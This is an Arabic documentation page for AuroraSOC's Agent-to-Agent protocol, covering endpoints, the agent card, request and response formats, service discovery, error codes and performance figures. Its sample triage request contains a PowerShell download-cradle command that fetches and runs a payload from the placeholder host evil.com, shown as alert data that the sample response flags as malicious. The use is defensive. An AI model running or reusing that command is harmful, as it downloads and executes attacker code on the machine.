انتقل إلى المحتوى الرئيسي

بروتوكول A2A

يُعد بروتوكول الوكيل إلى الوكيل (Agent-to-Agent - A2A) معيار الاتصال الذي يستخدمه وكلاء AuroraSOC للتفاعل مع بعضهم البعض. يعمل كل وكيل كخادم HTTP مستقل، ويحدد البروتوكول كيفية توجيه وإرسال المهام وإرجاع النتائج.

نظرة عامة على البروتوكول (Protocol Overview)

نقاط النهاية (Endpoints)

يعرض كل خادم وكيل A2A النقاط التالية:

نقطة النهاية (Endpoint)الطريقة (Method)الوصف (Description)
/taskPOSTإرسال وتقديم مهمة للمعالجة
/healthGETفحص الصحة (200 في حالة العمل)
/.well-known/agent.jsonGETبطاقة الوكيل (القدرات، العلامات)

بطاقة الوكيل (Agent Card)

تُعلن وتُظهر بطاقة الوكيل القدرات والإمكانيات المتاحة للوكيل:

{
"name": "security_analyst",
"description": "AI-powered security alert triage and analysis",
"url": "http://agent-security-analyst:9001",
"tags": ["security", "triage", "analysis", "siem"],
"capabilities": {
"tools": ["SearchLogs", "CorrelateEvents", "ExtractIOC", "MitreMap"],
"memory": "tiered",
"streaming": false
}
}

تنسيق وهيكل الطلب (Request Format)

{
"task": "Triage alert ALT-2024-001: Suspicious PowerShell execution",
"context": {
"alert_id": "ALT-2024-001",
"source": "Wazuh",
"severity": "HIGH",
"raw_event": {
"timestamp": "2024-01-15T12:03:15Z",
"process": "powershell.exe",
"command": "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload')",
"user": "john.doe",
"host": "workstation-0042"
}
},
"thread_id": "inv-001",
"metadata": {
"requester": "orchestrator",
"priority": "high"
}
}

تنسيق وهيكل الاستجابة (Response Format)

{
"result": "Alert ALT-2024-001 classified as HIGH severity. PowerShell download cradle detected matching MITRE T1059.001. IOCs extracted: evil.com, associated with Cobalt Strike C2 infrastructure.",
"confidence": 0.92,
"severity": "HIGH",
"mitre_techniques": ["T1059.001", "T1105"],
"iocs": [
{"type": "domain", "value": "evil.com"},
{"type": "hash", "value": "abc123..."}
],
"recommendations": [
"Isolate workstation-0042",
"Block evil.com at proxy",
"Check other hosts for similar PowerShell patterns"
],
"thread_id": "inv-001"
}

أنماط اكتشاف الخدمة (Service Discovery Modes)

يقوم AuroraSOC بحل أسماء مضيف A2A أثناء التشغيل عبر A2ASettings.get_agent_url():

  • A2A_DISCOVERY_MODE=compose يستخدم agent-<agent-name>
  • A2A_DISCOVERY_MODE=k8s يستخدم agent-<agent-name>-svc

التجاوزات الاختيارية:

  • A2A_CLIENT_HOST لفرض مضيف واحد لجميع الوكلاء
  • A2A_<AGENT_NAME>_HOST لتجاوز مضيف وكيل محدد

أمثلة:

# الوضع الافتراضي في Docker Compose
A2A_DISCOVERY_MODE=compose
# SecurityAnalyst -> http://agent-security-analyst:9001

# تسمية خدمات Kubernetes
A2A_DISCOVERY_MODE=k8s
# SecurityAnalyst -> http://agent-security-analyst-svc:9001

فحص الاتصال عند بدء API

أثناء بدء API، يقوم AuroraSOC بفحص GET /health لجميع وكلاء A2A المكوّنين:

  • استجابات 2xx/4xx تُسجل كاتصال متاح
  • استجابات 5xx تُسجل كتحذيرات
  • أخطاء الشبكة/المهلة الزمنية تُسجل كتحذيرات
  • لا يفشل بدء التشغيل بسبب الفحص (وضع degraded بتحذيرات فقط)

إدارة المحادثة والسياق (Thread Management)

يدعم بروتوكول A2A المحادثات متعددة الأدوار (multi-turn conversations) عبر thread_id:

يقوم LRUMemoryManager بتخزين حالة المحادثة المرتبطة بمفتاح thread_id، مما يسمح بأسئلة المتابعة ضمن نفس سياق التحقيق.

طوبولوجيا النشر (Deployment Topology)

كل وكيل هو حاوية/عملية منفصلة ومستقلة:

  • توسع مستقل (تشغيل 3 وكلاء Security Analysts للأحجام العالية)
  • تحديثات مستقلة (تحديث وكيل Malware Analyst دون إعادة تشغيل الوكلاء الآخرين)
  • عزل الأخطاء (تعطل وكيل واحد لا يؤثر على الآخرين)

معالجة الأخطاء (Error Handling)

حالة HTTP (HTTP Status)المعنى (Meaning)إجراء العميل (Client Action)
200تم إنجاز المهمة بنجاحمعالجة النتيجة
400طلب غير صالح (إدخال غير صالح)إصلاح وتصحيح تنسيق الطلب
408انتهاء مهلة الطلب (المهمة طويلة جداً)إعادة المحاولة باستخدام مهمة أبسط
500خطأ داخلي في الخادمإعادة المحاولة بعد مهلة التراجع (backoff)
503الوكيل محمل بالأعباء (Overloaded)التراجع، تشغيل قاطع الدائرة

خصائص الأداء (Performance Characteristics)

المقياس (Metric)القيمة النموذجية (Typical Value)
عبء الطلب (Request overhead)~2ms (HTTP + تسلسل JSON)
وقت تفكير الوكيل2-15 ثانية (يعتمد على LLM وعدد الأدوات)
عتبة فتح قاطع الدائرة5 إخفاقات متتالية
مهلة استرداد قاطع الدائرة60 ثانية
البقاء على قيد الحياة لتجمع الاتصالحتى إيقاف العملية
أقصى عدد من الاتصالات المتزامنةغير محدود (غير متزامن)